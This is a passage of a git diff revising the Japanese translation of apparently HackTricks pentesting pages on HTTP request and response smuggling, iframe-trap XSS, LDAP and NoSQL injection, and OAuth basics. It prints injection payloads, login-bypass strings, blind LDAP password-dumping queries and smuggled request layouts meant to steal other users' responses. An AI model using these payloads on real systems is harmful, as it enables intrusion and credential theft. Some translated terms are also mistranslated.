HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることができます**。\
|
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることになります**。\
|
||||||
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
|
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
|
||||||
|
|
||||||
### HTTPレスポンス分割を介したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### HTTPレスポンス分割を利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**この投稿**](https://portswigger.net/research/trace-desync-attack)を続けると、TRACEメソッドを悪用する別の方法が提案されています。コメントされたように、HEADリクエストとTRACEリクエストをスムグルすることで、HEADリクエストの応答における**一部の反映データを制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。
|
[**この投稿**](https://portswigger.net/research/trace-desync-attack)を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストの応答における**反映されたデータの一部を制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。
|
||||||
|
|
||||||
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです(これによりキャッシュポイズニングを実行することができます)。
|
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです(これによりキャッシュポイズニングを実行することができます)。
|
||||||
|
|
||||||
@ -566,7 +566,7 @@ Content-Length: 44\r\n
|
|||||||
\r\n
|
\r\n
|
||||||
<script>alert("response splitting")</script>
|
<script>alert("response splitting")</script>
|
||||||
```
|
```
|
||||||
これらのレスポンスを生成します(HEADレスポンスにContent-Lengthがあることに注意してください。これにより、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):
|
これらのレスポンスを生成します(HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
@ -587,29 +587,29 @@ Content-Length: 50
|
|||||||
|
|
||||||
<script>alert(“arbitrary response”)</script>
|
<script>alert(“arbitrary response”)</script>
|
||||||
```
|
```
|
||||||
### HTTPレスポンスの非同期化を利用したHTTPリクエストスムーギングの武器化
|
### HTTPレスポンスの非同期化を利用したHTTPリクエストスムージングの武器化
|
||||||
|
|
||||||
HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。
|
HTTPリクエストスムージングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../http-response-smuggling-desync.md
|
../http-response-smuggling-desync.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### その他のHTTPリクエストスムーギング技術
|
### その他のHTTPリクエストスムージング技術
|
||||||
|
|
||||||
- ブラウザHTTPリクエストスムーギング(クライアントサイド)
|
- ブラウザHTTPリクエストスムージング(クライアントサイド)
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browser-http-request-smuggling.md
|
browser-http-request-smuggling.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- HTTP/2ダウングレードにおけるリクエストスムーギング
|
- HTTP/2ダウングレードにおけるリクエストスムージング
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
request-smuggling-in-http-2-downgrades.md
|
request-smuggling-in-http-2-downgrades.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## ターボイントルーダースクリプト
|
## ターボ侵入者スクリプト
|
||||||
|
|
||||||
### CL.TE
|
### CL.TE
|
||||||
|
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
# HTTP/2ダウングレードにおけるリクエストスムーギング
|
# HTTP/2ダウングレードにおけるリクエストスムージング
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
@ -16,7 +16,7 @@
|
|||||||
|
|
||||||
HTTP/1.1は、**前のリクエストを待つことなく異なるリソースを要求する**ことを許可します。したがって、**中間にプロキシがある場合**、プロキシのタスクは**バックエンドに送信されたリクエストとそこからのレスポンスの同期を維持する**ことです。
|
HTTP/1.1は、**前のリクエストを待つことなく異なるリソースを要求する**ことを許可します。したがって、**中間にプロキシがある場合**、プロキシのタスクは**バックエンドに送信されたリクエストとそこからのレスポンスの同期を維持する**ことです。
|
||||||
|
|
||||||
しかし、レスポンスキューを非同期化するには問題があります。攻撃者がHTTPレスポンススムージング攻撃を送信し、**最初のリクエストとスムージングされたリクエストへのレスポンスが即座に返される**と、スムージングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして単に破棄されます**。
|
しかし、レスポンスキューを非同期化するには問題があります。攻撃者がHTTPレスポンススムージング攻撃を送信し、**最初のリクエストとスムージングされたリクエストのレスポンスが即座に返される**と、スムージングされたレスポンスは被害者のレスポンスキューに挿入されず、**エラーとして単に破棄されます**。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -24,7 +24,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
|
|||||||
|
|
||||||
この特定の状況で**被害者がリクエストを送信し、スムージングされたリクエストが正当なリクエストの前に応答される**と、**スムージングされたレスポンスが被害者に送信されます**。したがって、攻撃者は**被害者によって「実行された」リクエストを制御します**。
|
この特定の状況で**被害者がリクエストを送信し、スムージングされたリクエストが正当なリクエストの前に応答される**と、**スムージングされたレスポンスが被害者に送信されます**。したがって、攻撃者は**被害者によって「実行された」リクエストを制御します**。
|
||||||
|
|
||||||
さらに、**攻撃者がリクエストを実行し、被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストの前に応答される**場合、**被害者へのレスポンスは攻撃者に送信され、**被害者へのレスポンスを**盗む**ことになります(例えば、**Set-Cookie**ヘッダーを含むことがあります)。
|
さらに、**攻撃者がリクエストを実行し、被害者のリクエストに対する正当なレスポンスが攻撃者のリクエストの前に応答される**と、**被害者へのレスポンスが攻撃者に送信され、被害者へのレスポンスを「盗む」ことになります**(例えば、**Set-Cookie**ヘッダーを含むことがあります)。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -32,7 +32,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
|
|||||||
|
|
||||||
### 複数のネストされたインジェクション
|
### 複数のネストされたインジェクション
|
||||||
|
|
||||||
一般的な**HTTPリクエストスムージング**とのもう一つの**興味深い違い**は、一般的なスムージング攻撃では、**目的**は**被害者のリクエストの先頭を変更して予期しないアクションを実行させる**ことです。**HTTPレスポンススムージング攻撃**では、**完全なリクエストを送信しているため**、**1つのペイロードに数十のレスポンスを注入**することができ、**数十のユーザーを非同期化**して**注入されたレスポンスを受け取る**ことができます。
|
一般的な**HTTPリクエストスムージング**とのもう一つの**興味深い違い**は、一般的なスムージング攻撃では、**目的**は**被害者のリクエストの先頭を変更して予期しないアクションを実行させる**ことです。**HTTPレスポンススムージング攻撃**では、**完全なリクエストを送信するため**、**1つのペイロードに数十のレスポンスを注入**することができ、**数十のユーザーを非同期化させる**ことができます。
|
||||||
|
|
||||||
正当なユーザーに対して**数十のエクスプロイトをより簡単に配布できる**だけでなく、これはサーバーに**DoS**を引き起こすためにも使用できます。
|
正当なユーザーに対して**数十のエクスプロイトをより簡単に配布できる**だけでなく、これはサーバーに**DoS**を引き起こすためにも使用できます。
|
||||||
|
|
||||||
@ -40,7 +40,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
|
|||||||
|
|
||||||
前述のように、この技術を悪用するには、**サーバーに送信される最初のスムージングメッセージが処理されるのに多くの時間がかかる必要があります**。
|
前述のように、この技術を悪用するには、**サーバーに送信される最初のスムージングメッセージが処理されるのに多くの時間がかかる必要があります**。
|
||||||
|
|
||||||
この**時間のかかるリクエストは**、**被害者のレスポンスを盗むことを試みるだけであれば十分です**。しかし、より複雑なエクスプロイトを実行したい場合、これはエクスプロイトの一般的な構造になります。
|
この**時間のかかるリクエストは、被害者のレスポンスを盗むことを試みるだけで十分です**。しかし、より複雑なエクスプロイトを実行したい場合、これはエクスプロイトの一般的な構造になります。
|
||||||
|
|
||||||
まず、**HTTPリクエストスムージングを悪用する最初のリクエスト**、次に**時間のかかるリクエスト**、そして**1つ以上のペイロードリクエスト**があり、そのレスポンスが被害者に送信されます。
|
まず、**HTTPリクエストスムージングを悪用する最初のリクエスト**、次に**時間のかかるリクエスト**、そして**1つ以上のペイロードリクエスト**があり、そのレスポンスが被害者に送信されます。
|
||||||
|
|
||||||
@ -48,7 +48,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
|
|||||||
|
|
||||||
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||||
|
|
||||||
HTTPリクエストスムージングの既知のペイロードと同様に、**被害者のリクエストを盗む**ことができますが、1つの重要な違いがあります:この場合、**レスポンスに反映されるコンテンツを送信するだけで済み、**永続的なストレージは必要ありません**。
|
HTTPリクエストスムージングの既知のペイロードと同様に、**被害者のリクエストを盗むことができます**が、1つの重要な違いがあります:この場合、**レスポンスに反映されるコンテンツを送信するだけで済み、永続的なストレージは必要ありません**。
|
||||||
|
|
||||||
まず、攻撃者は**反映されたパラメータを含む最終的なPOSTリクエスト**を含むペイロードを送信し、大きなContent-Lengthを指定します。
|
まず、攻撃者は**反映されたパラメータを含む最終的なPOSTリクエスト**を含むペイロードを送信し、大きなContent-Lengthを指定します。
|
||||||
|
|
||||||
@ -62,9 +62,9 @@ HTTPリクエストスムージングの既知のペイロードと同様に、*
|
|||||||
|
|
||||||
## レスポンスの非同期化
|
## レスポンスの非同期化
|
||||||
|
|
||||||
ここまでで、HTTPリクエストスムージング攻撃を悪用して、**クライアントが受け取るレスポンスを制御する**方法と、**被害者のために意図されたレスポンスを盗む**方法を学びました。
|
ここまでで、HTTPリクエストスムージング攻撃を悪用して、**クライアントが受け取るレスポンスを制御する方法**と、**被害者のために意図されたレスポンスを盗む方法**を学びました。
|
||||||
|
|
||||||
しかし、レスポンスを**さらに非同期化する**ことも可能です。
|
しかし、レスポンスをさらに**非同期化することも可能です**。
|
||||||
|
|
||||||
**HEAD**リクエストのような興味深いリクエストがあり、これは**レスポンスボディ内にコンテンツを持たないことが指定されており**、**GETリクエストのようにContent-Lengthを含む必要があります**。
|
**HEAD**リクエストのような興味深いリクエストがあり、これは**レスポンスボディ内にコンテンツを持たないことが指定されており**、**GETリクエストのようにContent-Lengthを含む必要があります**。
|
||||||
|
|
||||||
@ -76,13 +76,13 @@ HTTPリクエストスムージングの既知のペイロードと同様に、*
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
その後、**被害者**は**HEAD**リクエストからの**レスポンスを受け取りますが、これは**Content-Lengthを含むがコンテンツは全く含まれない**ものになります。したがって、プロキシは**このレスポンスを被害者に送信せず、**何らかの**コンテンツ**を待つことになります。実際には、これは**攻撃者によって注入された黄色のリクエストへのレスポンス**になります:
|
その後、**被害者**は**HEAD**リクエストからの**レスポンスを受け取り**、これは**Content-Lengthを含むがコンテンツは全く含まれない**ことになります。したがって、プロキシは**このレスポンスを被害者に送信せず**、**何らかのコンテンツを待つ**ことになります。実際には、これは**攻撃者によって注入された黄色のリクエストへのレスポンス**になります:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### コンテンツの混乱
|
### コンテンツの混乱
|
||||||
|
|
||||||
前の例に従い、**被害者が受け取るレスポンスのボディを制御できること**、および**HEAD**レスポンスが通常そのヘッダーに**Content-TypeとContent-Lengthを含むことを知っていると、次のようなリクエストを送信して**XSSを引き起こす**ことができます。これは、ページがXSSに対して脆弱でない場合でも:
|
前の例に従い、**被害者が受け取るレスポンスのボディを制御できること**、および**HEAD**レスポンスが通常そのヘッダーに**Content-TypeとContent-Lengthを含むこと**を知っていると、次のようなリクエストを送信して**XSSを引き起こす**ことができます。ページがXSSに対して脆弱でなくても:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -99,11 +99,11 @@ XSSペイロードを含む悪意のあるリクエスト:
|
|||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> この場合、**「被害者」が攻撃者である場合、彼は今や**任意のURLでキャッシュ汚染を実行できる**。なぜなら、彼は悪意のあるレスポンスで**キャッシュされるURLを制御できるからです**。
|
> この場合、**「被害者」が攻撃者である場合**、彼は**悪意のあるレスポンスでキャッシュされるURLを制御できるため、任意のURLでキャッシュ汚染を実行できます**。
|
||||||
|
|
||||||
### ウェブキャッシュの欺瞞
|
### ウェブキャッシュの欺瞞
|
||||||
|
|
||||||
この攻撃は前の攻撃に似ていますが、**ペイロードをキャッシュ内に注入するのではなく、攻撃者が被害者の情報をキャッシュ内に保存します**:
|
この攻撃は前の攻撃に似ていますが、**ペイロードをキャッシュ内に注入するのではなく、攻撃者が被害者の情報をキャッシュ内にキャッシュします**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -125,8 +125,8 @@ XSSペイロードを含む悪意のあるリクエスト:
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
ただし、**反映されたデータがHEADレスポンスのContent-Lengthに応じたサイズを持っていたため、**レスポンスキュー内で有効なHTTPレスポンスを生成しました**。
|
ただし、**反映されたデータがHEADレスポンスのContent-Lengthに応じたサイズを持っていたため、レスポンスキュー内で有効なHTTPレスポンスを生成しました**。
|
||||||
|
|
||||||
したがって、**2番目の被害者の次のリクエストは、**攻撃者によって完全に作成されたものを**レスポンスとして受け取ります**。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシにレスポンスをキャッシュさせることもできます**。
|
したがって、**2番目の被害者の次のリクエストは、攻撃者によって完全に作成されたレスポンスを受け取ることになります**。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシにレスポンスをキャッシュさせることもできます**。
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -10,7 +10,7 @@
|
|||||||
|
|
||||||
XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み込みます。したがって、被害者は**iframe内にいることに気づきません**。次に、被害者がiframe内のリンクをクリックしてページをナビゲートすると、彼は**iframe内をナビゲートしている**ことになり、このナビゲーションから情報を盗む任意のJSが読み込まれます。
|
XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み込みます。したがって、被害者は**iframe内にいることに気づきません**。次に、被害者がiframe内のリンクをクリックしてページをナビゲートすると、彼は**iframe内をナビゲートしている**ことになり、このナビゲーションから情報を盗む任意のJSが読み込まれます。
|
||||||
|
|
||||||
さらに、より現実的にするために、iframeがページの位置を変更したときにチェックするための**リスナー**を使用し、ユーザーがブラウザを使用してページを移動していると思わせるようにブラウザのURLを更新することが可能です。
|
さらに、より現実的にするために、iframeがページの位置を変更したときにチェックする**リスナー**を使用し、ユーザーがブラウザを使用してページを移動していると思わせるようにブラウザのURLを更新することが可能です。
|
||||||
|
|
||||||
<figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
<figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
@ -18,6 +18,6 @@ XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み
|
|||||||
|
|
||||||
さらに、リスナーを使用して、被害者が訪れている他のページだけでなく、**フォームに入力されたデータ**を盗んだり(認証情報?)、**ローカルストレージを盗む**ことも可能です...
|
さらに、リスナーを使用して、被害者が訪れている他のページだけでなく、**フォームに入力されたデータ**を盗んだり(認証情報?)、**ローカルストレージを盗む**ことも可能です...
|
||||||
|
|
||||||
もちろん、主な制限は、**被害者がタブを閉じたり、ブラウザに別のURLを入力するとiframeから脱出する**ことです。これを行う別の方法は、**ページをリフレッシュする**ことですが、これは新しいページがiframe内に読み込まれるたびに右クリックコンテキストメニューを無効にすることで部分的に**防止**される可能性があります。また、ユーザーのマウスがiframeを離れると、ブラウザのリロードボタンをクリックする可能性があり、この場合、ブラウザのURLはXSSに脆弱な元のURLに更新されるため、ユーザーがリロードすると再び感染します(これはあまりステルスではないことに注意してください)。
|
もちろん、主な制限は、**被害者がタブを閉じたり、ブラウザに別のURLを入力するとiframeから脱出する**ことです。これを行う別の方法は、**ページをリフレッシュする**ことですが、これは新しいページがiframe内に読み込まれるたびに右クリックコンテキストメニューを無効にすることで部分的に**防止**できます。また、ユーザーのマウスがiframeを離れたときに気づくことで、ブラウザのリロードボタンをクリックする可能性があり、この場合、ブラウザのURLはXSSに脆弱な元のURLに更新されるため、ユーザーがリロードすると再度感染します(これはあまりステルスではないことに注意してください)。
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -1,40 +1,40 @@
|
|||||||
# LDAPインジェクション
|
# LDAP Injection
|
||||||
|
|
||||||
## LDAPインジェクション
|
## LDAP Injection
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## LDAPインジェクション
|
## LDAP Injection
|
||||||
|
|
||||||
### **LDAP**
|
### **LDAP**
|
||||||
|
|
||||||
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
|
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../network-services-pentesting/pentesting-ldap.md
|
../network-services-pentesting/pentesting-ldap.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、未承認のアクセスやデータ操作につながる可能性があります。
|
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
|
||||||
|
|
||||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||||
|
|
||||||
**フィルター** = ( filtercomp )\
|
**Filter** = ( filtercomp )\
|
||||||
**フィルターコンポーネント** = and / or / not / item\
|
**Filtercomp** = and / or / not / item\
|
||||||
**And** = & filterlist\
|
**And** = & filterlist\
|
||||||
**Or** = |filterlist\
|
**Or** = |filterlist\
|
||||||
**Not** = ! filter\
|
**Not** = ! filter\
|
||||||
**フィルターリスト** = 1\*filter\
|
**Filterlist** = 1\*filter\
|
||||||
**アイテム**= simple / present / substring\
|
**Item**= simple / present / substring\
|
||||||
**シンプル** = attr filtertype assertionvalue\
|
**Simple** = attr filtertype assertionvalue\
|
||||||
**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\
|
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||||
**プレゼント** = attr = \*\
|
**Present** = attr = \*\
|
||||||
**サブストリング** = attr ”=” \[initial] \* \[final]\
|
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||||
**初期** = assertionvalue\
|
**Initial** = assertionvalue\
|
||||||
**最終** = assertionvalue\
|
**Final** = assertionvalue\
|
||||||
&#xNAN;**(&)** = 絶対TRUE\
|
&#xNAN;**(&)** = Absolute TRUE\
|
||||||
&#xNAN;**(|)** = 絶対FALSE
|
&#xNAN;**(|)** = Absolute FALSE
|
||||||
|
|
||||||
例えば:\
|
例えば:\
|
||||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||||
`(&(objectClass=user)(uid=*))`
|
`(&(objectClass=user)(uid=*))`
|
||||||
|
|
||||||
@ -46,17 +46,17 @@
|
|||||||
|
|
||||||
**フィルターは正しい構文で送信することが非常に重要です。そうしないとエラーが発生します。フィルターは1つだけ送信する方が良いです。**
|
**フィルターは正しい構文で送信することが非常に重要です。そうしないとエラーが発生します。フィルターは1つだけ送信する方が良いです。**
|
||||||
|
|
||||||
フィルターは次のように始まる必要があります: `&` または `|`\
|
フィルターは次のように始まる必要があります: `&` または `|`\
|
||||||
例: `(&(directory=val1)(folder=public))`
|
例: `(&(directory=val1)(folder=public))`
|
||||||
|
|
||||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||||
|
|
||||||
次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
|
次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
|
||||||
|
|
||||||
### ログインバイパス
|
### Login Bypass
|
||||||
|
|
||||||
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています:クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
|
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
|
||||||
```bash
|
```bash
|
||||||
user=*
|
user=*
|
||||||
password=*
|
password=*
|
||||||
@ -133,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||||||
```
|
```
|
||||||
#### データのダンプ
|
#### データのダンプ
|
||||||
|
|
||||||
ascii文字、数字、記号を繰り返すことができます:
|
ascii文字、数字、記号を繰り返し処理できます:
|
||||||
```bash
|
```bash
|
||||||
(&(sn=administrator)(password=*)) : OK
|
(&(sn=administrator)(password=*)) : OK
|
||||||
(&(sn=administrator)(password=A*)) : KO
|
(&(sn=administrator)(password=A*)) : KO
|
||||||
|
@ -57,9 +57,9 @@ NoSQLインジェクションはパラメータの値を変更する必要があ
|
|||||||
admin' or '
|
admin' or '
|
||||||
admin' or '1'='2
|
admin' or '1'='2
|
||||||
```
|
```
|
||||||
### LDAP Injection 認証バイパス
|
### LDAPインジェクション認証バイパス
|
||||||
|
|
||||||
[ここでは、**LDAP Injection**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
|
[ここでは、**LDAPインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
|
||||||
```
|
```
|
||||||
*
|
*
|
||||||
*)(&
|
*)(&
|
||||||
|
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
|||||||
```javascript
|
```javascript
|
||||||
query = { $where: `this.username == '${username}'` }
|
query = { $where: `this.username == '${username}'` }
|
||||||
```
|
```
|
||||||
攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件によってすべてのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
|
攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件で全てのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
|
||||||
```
|
```
|
||||||
Normal sql: ' or 1=1-- -
|
Normal sql: ' or 1=1-- -
|
||||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||||
|
@ -6,19 +6,19 @@
|
|||||||
|
|
||||||
OAuthはさまざまなバージョンを提供しており、基本的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。
|
OAuthはさまざまなバージョンを提供しており、基本的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。
|
||||||
|
|
||||||
仮想のウェブサイト_**https://example.com**_を考えてみましょう。これは**あなたのすべてのソーシャルメディア投稿を表示する**ために設計されています。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが認可すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。
|
仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。
|
||||||
|
|
||||||
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
|
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
|
||||||
|
|
||||||
- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
|
- **resource owner**: あなた、つまり**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
|
||||||
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
|
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
|
||||||
- **client application**: **リソースオーナー**から認可を求める**アプリケーション**、例:**https://example.com**。
|
- **client application**: `resource owner`からの認可を求める**アプリケーション**、例:**https://example.com**。
|
||||||
- **authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
|
- **authorization server**: `resource owner`の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
|
||||||
- **client_id**: アプリケーションのための公開の一意の識別子。
|
- **client_id**: アプリケーションの公開されている一意の識別子。
|
||||||
- **client_secret:** アプリケーションと認可サーバーのみが知る機密鍵で、`access_tokens`を生成するために使用されます。
|
- **client_secret:** アプリケーションと認可サーバーのみが知っている機密鍵で、`access_tokens`を生成するために使用されます。
|
||||||
- **response_type**: **要求されるトークンのタイプ**を指定する値、例:`code`。
|
- **response_type**: **要求されるトークンのタイプ**を指定する値、例:`code`。
|
||||||
- **scope**: `client application`が`resource owner`から要求している**アクセスレベル**。
|
- **scope**: `client application`が`resource owner`から要求している**アクセスレベル**。
|
||||||
- **redirect_uri**: **認可後にユーザーがリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。
|
- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。
|
||||||
- **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを維持するためのパラメータ**。ユニーク性は**CSRF保護メカニズム**として機能するために重要です。
|
